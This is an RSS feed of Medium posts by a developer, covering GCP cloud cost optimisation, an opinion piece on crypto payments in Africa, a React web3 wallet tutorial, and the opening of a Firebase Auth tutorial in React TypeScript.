<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Geoffrey Mahugu on Medium]]></title>
        <description><![CDATA[Stories by Geoffrey Mahugu on Medium]]></description>
        <link>https://medium.com/@geoffreymahugu?source=rss-d7e5274e68a6------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*wlAUg9o5BkvMLf2UYR7uIg.jpeg</url>
            <title>Stories by Geoffrey Mahugu on Medium</title>
            <link>https://medium.com/@geoffreymahugu?source=rss-d7e5274e68a6------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 23:27:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@geoffreymahugu/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I saved my client Thousands in GCP Cloud costs.]]></title>
            <link>https://geoffreymahugu.medium.com/how-i-saved-my-client-thousands-in-gcp-cloud-costs-69560b37bad8?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/69560b37bad8</guid>
            <category><![CDATA[cloud]]></category>
            <category><![CDATA[cloud-computing]]></category>
            <category><![CDATA[cloud-services]]></category>
            <category><![CDATA[finops]]></category>
            <category><![CDATA[gcp]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Wed, 21 Aug 2024 03:33:34 GMT</pubDate>
            <atom:updated>2024-08-21T03:33:34.352Z</atom:updated>
            <content:encoded><![CDATA[<p>FinOps is the act of modelling efficient CI/CD pipelines to minimise Cloud cost while maximising the utilization of cloud resources.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/956/1*-aJtgVrXaI9nHw_xkz3ldQ.gif" /><figcaption>gcp dashboard, cost minimisation</figcaption></figure><p>In this article, I will take you through a scenario where I saved my client close to $2,000 in recurrent monthly cloud expenses and how you can apply the same principles to save yourself some change.</p><h3>Why FinOps Matters</h3><p>If you’re exploring FinOps, it’s likely your Finance team has approached you to reduce your organization’s cloud spending. As a FinOps Engineer, your primary responsibility is to balance application performance with resource allocation using data-driven strategies.</p><h3>Steps to Cloud Cost Optimization</h3><ol><li><strong>Analyse current infrustructure.<br></strong> <strong>Visibility:</strong> Start by providing detailed visibility into current resource usage and billing. Tools like Google Cloud’s Cost Management can offer a clear overview.<br><strong>AI Recommendations &amp; Visualization:</strong> Utilize AI-powered recommendations and visualization tools such as Google Cloud’s Recommender and Stackdriver to gain insights into resource allocation.<br><strong>Resource Utilization Check:</strong> Regularly monitor resource utilization, focusing on RAM, CPU, and regional availability to identify inefficiencies.</li><li><strong>Create a change log and upgrade document.<br></strong> <strong>Identify Optimization Opportunities:</strong> Outline resources that can be optimized, such as underutilized instances or unnecessary services.<br><strong>Upgrade Documentation:</strong> Document the steps required to implement these changes, ensuring clarity and traceability.</li><li><strong>Create backups<br>Backup Strategy:</strong> Before implementing changes, create comprehensive backups of databases and Compute Engine instances to prevent data loss.<br><strong>Testing Environment:</strong> Upload backups to smaller VMs to create a controlled testing environment, ensuring that the changes will not disrupt production.</li><li><strong>Schedule &amp; Effect upgrades<br>Sandbox Testing:</strong> Recreate databases and applications in a sandbox environment to test the planned upgrades. This minimizes the risk of downtime during the actual upgrade.<br><strong>Application Testing:</strong> Conduct thorough testing to validate the upgrades, focusing on performance and stability before rolling them out.</li><li><strong>Governance<br>Policy Creation:</strong> Develop policies to govern resource access and control, ensuring that only authorized personnel can make changes.<br><strong>Access Control:</strong> Implement stringent access controls to manage resource allocation effectively, reducing the risk of unauthorized changes</li><li><strong>Documentation<br>Maintain Records:</strong> Keep detailed records of all backups and changes. This documentation is vital for future audits and troubleshooting.</li></ol><ul><li><strong>Team Collaboration:</strong> Share updated documentation with your team to ensure everyone is aligned and aware of the changes.Analyse current infrustructure.</li></ul><h4>Get Started</h4><p>The first thing will be to collect as much data regarding the current cloud infrastructure.</p><p>Available infrastructure might include:<br> — Databases<br> — Virtual Machines (Virtual Private Servers)<br> — Backups (Database, VM clones, Database Replicas)<br> — Virtual networks (Ingress, load balancers)<br> — SQL Queries (BigData queries)<br> — IAM Roles &amp; Rules</p><h4><strong>Visibility</strong></h4><p>To get visibility over cost usage, you will use these tools:</p><ol><li><a href="https://console.cloud.google.com/billing"><strong>GCP Budget Console</strong></a></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*TbROiGlwf9os7F-g" /></figure><p>a) View real-time reporting of the cost usage for each service (compute engine/storage / Network cost)<br>b) Export data that can be used to further analyze the cost and services using <a href="https://console.cloud.google.com/bigquery">Google BigQuery </a><br> c) The exported data can be used to build custom dashboards for further analysis and visuals.</p><p><strong>2. BigQuery Engine</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*XxeK1SH0cy0GJaLL" /></figure><p>This tool will enable you to:<br> — Upload and analyse data by running custom queries and output a table or API that can be used for analysis or data visualization.<br> — You can run custom queries to find which services consume resources and cost implications.</p><p><strong>3. </strong><a href="https://cloud.google.com/billing/docs/how-to/finops-hub"><strong>FinOps Hub</strong></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Txv2dm8YaKDJilfpYMGvAA.png" /></figure><p>This is a relatively new tool from Google that helps:</p><p>— Drive financial accountability and maximise business value</p><p>- Enable cross-organizational trust and collaboration<br> — Prevent sprawl of cloud spend<br> — Uses Google AI to offer recommendations for optimization<br> — Learn more: <a href="https://cloud.google.com/learn/what-is-finops?authuser=1">Google Cloud FinOps</a>, <a href="https://www.googlecloudcommunity.com/gc/Cloud-FinOps-and-Cost/Benefits-of-FinOps-Hub/td-p/665810">Benefits of FinOps Hub</a></p><h3>Schedule &amp; Effect upgrades</h3><p>In this step, we will be effecting the optimization recommendations from the easiest and lowest risk changes to the infrastructure.</p><h4>Google Cloud Recommendations</h4><p>First, check on GCP Console Recommendations for changes you can easily make to reduce your infrastructure cost.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CXrPA8AZA65XquXm" /></figure><h4><strong>Cloud Database Optimization.</strong></h4><p>Databases usually amount to the most amount of Cloud expenditure because cloud providers know this is the most valuable resource.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/0*e6ovahx05XYQN5gY" /></figure><p>To optimise our database infrastructure, we can optimize these aspects</p><h4><strong>1. Resize Database VM size</strong></h4><p>Resizing the allocated resources on a <a href="https://console.cloud.google.com/compute/instances?authuser=1&amp;hl=en&amp;project=waya-370317">VM instance</a> to better utilize the resources. (this is after analysing the resource utilization of the VM resource)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ou8oJyKTBEnHidYo" /><figcaption>check on resource utilization</figcaption></figure><p>Use a data-centric approach to resizing your resources, like in the above case less than 5% of the resource was being utilized even on peak hours.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*uCyPztpuTLSvo8iG" /></figure><p>above in another case where Memory usage was under 700 MB of the 3.75GB allocated memory.</p><h4><strong>2. Deleting </strong><a href="https://console.cloud.google.com/compute/images?tab=images&amp;authuser=1&amp;hl=en&amp;project=waya-370317"><strong>deprecated VM instances</strong></a><strong>.</strong></h4><p>These are database instances that are not utilized or are copies that can be deleted without affecting current applications running in production.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*JUOy74D3I2gRtNLvI3xBig.png" /><figcaption>Deleting <a href="https://console.cloud.google.com/compute/images?tab=images&amp;authuser=1&amp;hl=en&amp;project=waya-370317">deprecated VM instances</a>.</figcaption></figure><h4><strong>3. Regional availability</strong> (singular region or replicated)</h4><p>— On default, google creates replicas of databases (this is good practice but might be costly for an MVP), you can scale down the replicas to a regional database, preferably closer to your clients.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/724/1*Pye5CQiPK0Wx0JGhJ3R5hw.png" /></figure><h4><strong>4. Manage Snapshots and replicas</strong></h4><p>Reduce the number of <a href="https://console.cloud.google.com/compute/snapshots?authuser=1&amp;hl=en&amp;project=waya-370317">Snapshots</a> or frequency of taking snapshots.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*knRV0PUIgum1nsrv9tTGow.png" /></figure><h3>CI Pipeline Optimization</h3><p>In this phase, we focused on enhancing our Continuous Integration (CI) pipeline, particularly in the deployment process:</p><p>a) <strong>Reducing Image Sizes:</strong> By implementing Multi-Stage Builds, we significantly reduced the size of our container images. This optimization lowers costs associated with the Container Registry and minimizes the resource allocation needed for instances.</p><p>b) <strong>Selective Deployments:</strong> We restricted deployments to the master and staging branches only. By consolidating feature changes and deploying them only to staging or master, we reduced the frequency of CI build runs and image creation, leading to more efficient resource usage.</p><p>c) <strong>Automated Image Cleanup:</strong> To manage storage costs and maintain efficiency, we set up a service that automatically deletes older image files. We configured it to retain only the most recent 5–10 images or to delete images older than a month, ensuring the Container Registry remains uncluttered.</p><h3>Governance</h3><p>Governance plays a crucial role in maintaining financial discipline and enforcing security within our cloud environment. In this stage, we established policies and controls to ensure that our operations align with our budget and security standards.</p><p>i) <strong>Budgeting and Monitoring Alerts:</strong></p><ul><li><strong>Budget Setup:</strong> Utilizing the Google Cloud Billing Console, we defined a monthly budget to keep our cloud spending in check. This proactive approach allows us to forecast and control costs effectively.</li><li><strong>Threshold Alerts:</strong> To stay informed and responsive, we configured monitoring alerts that notify us when spending approaches predefined thresholds. These alerts help us take immediate action to prevent overspending and maintain our financial targets.</li></ul><p>By following these strategies, you can optimize your GCP/AWS infrastructure, reduce costs, and ensure that your cloud resources are used efficiently and securely.</p><p>If you’re looking to optimize your servers, cost-effectively deploy your applications, or need assistance with cloud infrastructure optimization on GCP, AWS, or Azure, feel free to reach out. I’m here to help you achieve the most efficient and scalable solutions for your business. Let’s work together to reduce costs and maximize performance.</p><p>Contact me: geoffreymahugu@gmail.com</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69560b37bad8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Crypto — Africa’s Solution To Global Payments.]]></title>
            <link>https://geoffreymahugu.medium.com/crypto-africas-solution-to-global-payments-29329e2420ab?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/29329e2420ab</guid>
            <category><![CDATA[africa]]></category>
            <category><![CDATA[finance]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[money]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Tue, 03 May 2022 16:12:10 GMT</pubDate>
            <atom:updated>2022-05-03T17:30:56.695Z</atom:updated>
            <content:encoded><![CDATA[<h3>Crypto — Africa’s Solution To Global Payments.</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TMXU9lC1EeQiYpVASjhV4g.png" /><figcaption>Crypto — Africa’s solution to global payments</figcaption></figure><p>I just got a call from my brother, he sounded a bit worried. His <a href="https://www.paypal.com/">PayPal</a> account has just been limited and he has no other way to receive payments nor support his family.</p><blockquote><strong>So i asked him why so ?</strong> His response was that he had submitted documents in regards to the online writing job he had gotten payment for but still his account had been limited due to <strong>“suspicious activity”</strong>.</blockquote><p>This is something that happens quite so often especially if your from a 3rd world country.</p><p>Being a Freelance Block-chain Developer I’ve experienced this several times. Even with attaching an invoice and adding a note that you’re providing a service; Your transaction might just end up being on hold for up-to 30 days or risk your account being limited.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1gC-5TCG__hSB7S_q9OpRQ.jpeg" /><figcaption>This is my account with payments on hold.</figcaption></figure><h3><strong>PayPal’s Pain Points.</strong></h3><ol><li>Account limitations (This happens for almost no reason and your funds will be locked in the account).</li><li>We’ve had incidences where PayPal Banned their services in certain countries like Nigeria, India (This is no longer the case).</li><li>Tedious <a href="https://en.wikipedia.org/wiki/Know_your_customer">KYC</a> <br>— To complete account verification you have to provide latest account transaction code (most of us don’t readily have access to bank statements) <br> — To Link bank account it has to be a US bank account (Most times <a href="https://www.payoneer.com/">Payoneer</a> accounts are not accepted)<br> — To verify address you have to provide prof of address (Most of us live in rental / non- formal residence)</li><li>Withdrawal Fees are too high.<br> — PayPal&#39;s withdrawal fee of 1% might not seam much but if you look at the conversion rate (usually few dollars less than the public exchange) you will find that that’s an addition tax on your transaction.</li></ol><blockquote><strong>Have you tried Stripe API?</strong> No, its not in Kenya.</blockquote><h3>Crypto as a Solution.</h3><ol><li>Lower transaction fees.<br> — Crypto payments are peer-to-peer payments which eliminate intermediaries who have to take their share to facilitate the transaction.</li><li>Better Conversion Rates.<br> — By receiving your payments in Crypto you have multiple ways to extract value from your crypto and possibly even make more.</li><li>Instant payments.<br> — No delays or having your funds on hold. With crypto you stand the chance of earning daily income.</li><li>Better banking solutions.<br> — Once you receive payments in Crypto, you can use that to save / stake / yield farming to earn from your Crypto which will give you way more returns than your traditional bank.</li></ol><h3>Opportunity</h3><p>There is a huge opportunity for a regulated Crypto Exchange Market in Africa. This exchange can facilitate purchase of Crypto currencies through native fiat and vise-versa.</p><blockquote><strong>Why not use Binance? <br></strong>This is so far the best solution. However, its transactional charges are relatively high and they are using a third party provider (<a href="https://flutterwave.com/">Flutterwave</a>) to remit their withdrawals — That’s an additional charge. <br>When it comes to deposits, they only allow for Debit &amp; Wire Transfer of which most banks Flag Binance as a potential high risk / gambling website and thus restricting local crypto purchases.</blockquote><h3>Conclusion</h3><p>We need a better solution to the current system. A solution that will allow minority to have instant access to their earnings without discrimination and in a timely manner.</p><p>An online banking solution that will work for Africa needs to be:</p><ol><li>Cheap in transactional fees.</li><li>Easy to access funds (readily means on users hands — mobile ).</li><li>Provide protection against inflation.</li><li>Easy to onboard new customers (our KYC needs to be better)</li><li>Easily Salable throughout the continent.</li><li>Transparency — Blockchain allows for public traceability of transaction logs.</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=29329e2420ab" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Set Up Web3 in Your React App]]></title>
            <link>https://javascript.plainenglish.io/set-up-web3-in-your-react-app-dec6d6f45b4d?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/dec6d6f45b4d</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[web3]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[front-end-development]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Tue, 14 Dec 2021 12:47:38 GMT</pubDate>
            <atom:updated>2022-02-18T07:39:57.265Z</atom:updated>
            <content:encoded><![CDATA[<h4>This is a quick guide for setting up web3 in your React application.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fIp-NQYPmKrerg6hcMQ1EQ.png" /></figure><h4>In this guide, you will be able to:</h4><p>I. Check if the <strong>user has connected</strong> their wallet.<br>II. <strong>Connect user wallet</strong> and get account details.<br>III. Allow users to Authorize and <strong>Send Transactions</strong> from their wallet.<br>IV. Disconnect/Logout users.</p><h4>Why would you add web3 to your React app?</h4><ol><li>Earn Direct Income.<br>You can <strong>accept payments</strong> directly from clients.</li><li>Authentification &amp; Authorization.<br>You’ll be able to authenticate users using their wallets and thus <strong>authorize access based on their wallet status</strong>.</li><li>Decentralized Identity.<br>You’ll be able to take advantage of decentralized identity in your application based on the wallet address e.g., <a href="https://ens.domains/"><strong>.ETH domain name</strong></a> and later on NFT profile pictures.</li></ol><h3>Getting Started.</h3><p>We will create a simple react app. For this example, we will be creating a minting website that authenticates a user’s wallet and allows them to mint an NFT.</p><h4>To <a href="https://reactjs.org/docs/create-a-new-react-app.html">create a react app,</a> run:</h4><pre>npx create-react-app react-minting-website</pre><p>now run the code below to serve the application locally at <a href="http://localhost:3000/">http://localhost:3000</a></p><pre>npm start</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RW4Ofe3xQ9y547xJG7YNag.png" /><figcaption>view app at http://localhost:3000</figcaption></figure><h4>Updating the UI</h4><p>We are going to create the UI for the minting website as shown below:<br><a href="https://geoffmahugu.github.io/react-minting-template/">Demo Link</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZsYzSWFCYzipm11JyrokuQ.gif" /></figure><p>Copy and paste the code below in <strong>App.css</strong> to get the styling.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/edae6218c92189c913bb4d4d05a2161d/href">https://medium.com/media/edae6218c92189c913bb4d4d05a2161d/href</a></iframe><p>Copy and paste the code below in <strong>App.js</strong> to get the jsx layout.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/20ea3cdd907cd8910b73e968a567c0c0/href">https://medium.com/media/20ea3cdd907cd8910b73e968a567c0c0/href</a></iframe><h4>Installing dependencies.</h4><ol><li><a href="https://web3js.readthedocs.io/en/v1.5.2/getting-started.html">Install web3.js</a><br>“<em>web3.js is a collection of libraries that allow you to interact with a local or remote ethereum node using HTTP, IPC or WebSocket.”</em></li></ol><pre>npm i web3</pre><p>2. Install @web3-react<br>This library will enable us to easily integrate our react app with web3 and also avail hooks we can listen to.</p><pre>npm i @web3-react/core @web3-react/injected-connector</pre><h4>Configure Web3 Connector.</h4><p>Now that we have all the packages ready, we can get started by configuring the web3 connector.<br>In the root folder<strong><em>(./src)</em></strong>, create a wallet folder <strong><em>(./src/wallet) </em></strong>which will contain configuration for connecting to web3.</p><p>Create <strong>Connect.js</strong> file inside <strong><em>./src/wallet</em></strong> folder and paste the content below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/08b9abc6b52265dbf62f5c8e56b25b63/href">https://medium.com/media/08b9abc6b52265dbf62f5c8e56b25b63/href</a></iframe><p><strong>Setup Web3 Provider</strong></p><p>In order to have access to the global web3 object and hooks, we will need to set up the web3 provider in the <strong>./src/index.js</strong> file by wrapping the <strong>&lt;App&gt; </strong>component with<strong> &lt;Web3ReactProvider&gt;</strong></p><p>Update <strong>./src/index.js</strong> as shown below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/bada4666aa266362c07f5194d5849f25/href">https://medium.com/media/bada4666aa266362c07f5194d5849f25/href</a></iframe><h3>Connect To Wallet</h3><p>To connect to the wallet, we will need to update the <strong>App.js</strong> file as it contains our minting buttons.</p><ol><li><strong>Import dependencies</strong></li></ol><pre>import { useWeb3React } from &quot;@web3-react/core&quot;;</pre><pre>import { injected } from &quot;./wallet/Connector&quot;;</pre><pre>import web3 from &quot;web3&quot;;</pre><p><strong>2. Add web3React Hook</strong></p><pre>const { active, account, library, activate,deactivate } = useWeb3React()</pre><p>— The <strong>Active </strong>attribute<strong> </strong>returns a boolean which allows us to check if the user has connected their wallet.<br> — The <strong>Account</strong> attribute returns the users account (or .eth name).<br> — The <strong>Library</strong> attribute provides us with web3React functions we can call to interact with the blockchain / smart contracts.<br> — The <strong>Activate</strong> attribute is the function we will call in order to authenticate the user’s wallet.<br> — The <strong>Deactivate</strong> attribute is the function we will call to log out the user.</p><p><strong>3. Add wallet connect functionality.</strong></p><p>To connect to the wallet, we will create a <strong>connect function</strong> as shown below inside the App component.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2ba23a8253302b185b01035afb07be22/href">https://medium.com/media/2ba23a8253302b185b01035afb07be22/href</a></iframe><p>To bind the connect functionality lets update the <strong>mint button</strong> as shown below:</p><pre>&lt;button className=&quot;main-mint-btn&quot; onClick={connect} &gt;Mint&lt;/button&gt;</pre><p>On clicking the <strong>Mint button</strong> the user will be able to authenticate using their wallet. (in this example I&#39;m using <a href="https://metamask.io/">Metamask</a> but you can use any browser wallet)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zirbyVWrI21ydNTc4Gu_aQ.gif" /></figure><p>Next, we will create some templating logic to avail the button only when the user is authenticated and prompt unauthenticated users to connect using their wallet as shown below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/13dfe9800a22639f0085d5627e348318/href">https://medium.com/media/13dfe9800a22639f0085d5627e348318/href</a></iframe><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kpTyYyn3Oa6XwzSm_tj30g.gif" /><figcaption>Prompt user to connect</figcaption></figure><h4>Mint / Charge Account Functionality.</h4><p>To charge the account, we will need to create a M<strong>inting function </strong>that will prompt the user to allow the purchase of the asset.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/8279ad89ffe0d0d28515ea7efd0535c2/href">https://medium.com/media/8279ad89ffe0d0d28515ea7efd0535c2/href</a></iframe><p>To bind the minting functionality, update the Mint button as shown below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/69f9f8dc599005d4fec0f232c30fed71/href">https://medium.com/media/69f9f8dc599005d4fec0f232c30fed71/href</a></iframe><p>To test it all out, click on mint to enable metamask to transact.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aSuJm2DDp_c3JfiuZHSKHQ.png" /><figcaption><strong>Click Reject to cancel the transaction.</strong></figcaption></figure><p><strong>Logout User</strong><br>To log out the user, you simply <strong>deactivate</strong> the account instance. You can create a disconnect function as shown below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/91154bff84cece48afcc0e27c2efe084/href">https://medium.com/media/91154bff84cece48afcc0e27c2efe084/href</a></iframe><p><strong>Conclusion<br></strong>As we see more and more adoption of blockchain technology, I believe it necessary for us as software developers to equip ourselves with the necessary tools to help businesses transition to web3.</p><p>Hope you’ve learnt something new, the whole code is being hosted on this <a href="https://github.com/GeoffMahugu/react-minting-template">GitHub Link</a>.</p><p>For all blockchain solutions, pls contact me at <strong>geoffreymahugu@gmail.com</strong></p><p><em>More content at </em><a href="http://plainenglish.io/"><strong><em>plainenglish.io</em></strong></a><strong><em>.</em></strong><em> Sign up for our</em><strong><em> </em></strong><a href="http://newsletter.plainenglish.io/"><strong><em>free weekly newsletter here</em></strong></a><strong><em>.</em></strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dec6d6f45b4d" width="1" height="1" alt=""><hr><p><a href="https://javascript.plainenglish.io/set-up-web3-in-your-react-app-dec6d6f45b4d">Set Up Web3 in Your React App</a> was originally published in <a href="https://javascript.plainenglish.io/">JavaScript in Plain English</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Firebase Auth with React Typescript]]></title>
            <link>https://javascript.plainenglish.io/firebase-auth-with-react-typescript-4b9d9605fa53?source=rss-d7e5274e68a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/4b9d9605fa53</guid>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[react]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[typescript]]></category>
            <dc:creator><![CDATA[Geoffrey Mahugu]]></dc:creator>
            <pubDate>Thu, 20 May 2021 20:05:06 GMT</pubDate>
            <atom:updated>2021-05-20T20:05:06.833Z</atom:updated>
            <content:encoded><![CDATA[<p>In this article, we are going to set up a production-ready React application written in TypeScript to authenticate users using Firebase Auth.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PHQzsqaS4nOee-Go5_jcQ.png" /></figure><h4>These are our main objectives:</h4><ol><li>Implement Type safety using TypeScript.</li><li>Protect Routes using Router Guard.</li><li>Protect &amp; Safely access Firebase credentials.</li><li>Social Authentification using Firebase.</li><li>Global access to Authenticated User object.</li></ol><h4>Prerequisites.</h4><p>i. <a href="https://nodejs.org/en/">Node</a> installed.</p><p>ii. Basic knowledge of <a href="https://reactjs.org/docs/getting-started.html">React</a></p><h3>Project Setup</h3><p>To get started, we will run this command to create the react-typescript application.</p><p>npx create-react-app <strong>APPLICATION_NAME</strong> --template typescript</p><p><strong>Install dependencies:</strong></p><pre>npm install react-router-dom</pre><p><a href="https://reactrouter.com/web/guides/quick-start">react-router-dom </a>module will help us to set up routing in the application and later on enable us to protected routes.</p><p>cd into the project folder and serve the application:</p><pre>npm start</pre><p>The application can now be accessed on <a href="https://localhost:3000/">https://localhost:3000</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MgRn5QlS7FPje97Oe-un6w.png" /></figure><h3>Firebase Project Setup</h3><p>Next, we will need to set up a new Firebase project to authenticate users.<br>In the <a href="https://console.firebase.google.com/u/0/">Firebase Console</a>, create a new project:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NujxugFOoj8WqqMGT-08BA.jpeg" /></figure><p><strong>Install Firebase dependencies:</strong></p><p>At the root of your project, install the firebase:</p><pre>npm install firebase</pre><h3>Firebase Config Setup</h3><p>Next, we need to get the project credentials from firebase and securely access the credentials in our application.</p><p><strong>i) Register Application for Firebase SDK</strong></p><p>To get the project credentials from firebase, go to the Firebase Console and click on <strong>Project Overview </strong>(Topmost on the left menu). On the menu selection, select <strong>Project Settings. </strong>On the Project Settings page select web which is the platform we are working on as shown below.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q4wYIGHWnZ81iQflqRuI3A.png" /></figure><p>Proceed to register the application and get the credentials as shown below. (Copy the details as we will use the credentials in the steps that follow.)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AnTswzWC7ar5ivUz_ilvhg.png" /></figure><p><strong>ii) Enable Firebase Authentification</strong></p><p>We will need to enable firebase Authentification in order to use the social logins. In your <a href="https://console.firebase.google.com/u/0/">Firebase Console</a>, Select Authentification on the left Menu and proceed to <strong>Get Started</strong> as shown below:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jfnwN2QFjNPLGKCgARrYZA.png" /></figure><p>You can now select the providers you want to use and proceed to enable them. For this example, we will be using <strong>Google authentication.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/872/1*Mv9f7gfQCI2XKEs19Yk_OQ.png" /></figure><p><strong>iii) Create .env file</strong></p><p>To protect your firebase credentials and access them safely, we will store them in memory and for that, we will need to create a <strong>.env</strong> file in the root of our project folder. <br>Once the<strong> ./env</strong> file has been created, paste the details below and replace the values with the credentials you got earlier from the Firebase Console.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/9553a5cce7a994c1dff3e8005f06eb38/href">https://medium.com/media/9553a5cce7a994c1dff3e8005f06eb38/href</a></iframe><p><strong>Note: </strong>Remember to exclude the .<strong>/env</strong> file from your Git commits by adding it to the <strong>.gitignore</strong> file.</p><p><strong>iv) Create config.ts file.</strong></p><p>In the <strong>./src</strong> folder, we will create a config file to hold all of our global configurations.<br>In the <strong>./src/config</strong> folder create a <strong>config.ts </strong>file that will import firebase configurations from memory and avail it to our application.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/fc1186135a16bd8c66146ef8aa8c2fdf/href">https://medium.com/media/fc1186135a16bd8c66146ef8aa8c2fdf/href</a></iframe><p><strong>v) Create firebase.ts file</strong></p><p>Now that we can safely access firebase credentials, we will need to initialize firebase in our application and then provide social login methods as providers. This is all done in the <strong>firebase.ts</strong> file as shown below.</p><p>In the <strong>./src/config</strong> folder, create a <strong>firebase.ts</strong> file and paste the details below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/d281dec90d64ceef677bbcd8c7c36526/href">https://medium.com/media/d281dec90d64ceef677bbcd8c7c36526/href</a></iframe><p>In the code above we are using Google and Facebook providers of which will depend on the providers you enabled in the Firebase Console earlier.</p><h3>Protected &amp; Unprotected Pages Setup</h3><p>We are going to create 2 pages one being protected (<strong>CartPage.tsx</strong>) and the other 2 pages as unprotected(<strong>HomePage.tsx, SignUpPage.tsx</strong>) and enable routing.</p><p><strong>i) Create Pages folder</strong></p><p>First, create a <strong>./src/pages</strong> folder to contain all pages of the application.</p><p><strong>ii) Create HomePage</strong></p><p>Inside the pages folder create a <strong>HomePage.tsx </strong>and paste the contents below.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/40645bc033bed5a04fbb7fcc6e7bd614/href">https://medium.com/media/40645bc033bed5a04fbb7fcc6e7bd614/href</a></iframe><p>The code above defines a basic react function component with a link button that routes to the protected <strong>CartPage.tsx</strong></p><p><strong>iii) Create Interfaces folder</strong></p><p>In the above code, we define the <strong>pages interface</strong> in the component file.<br>However, we need to be able to reuse interfaces throughout the application. For this, we will need to create a .<strong>/src/interfaces </strong>folder to contain all type definitions.</p><p><strong>iv) Create Page Interface file</strong></p><p>In the <strong>./src/interface</strong> folder create a <strong>page.interface.ts</strong> file and paste the contents below:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a 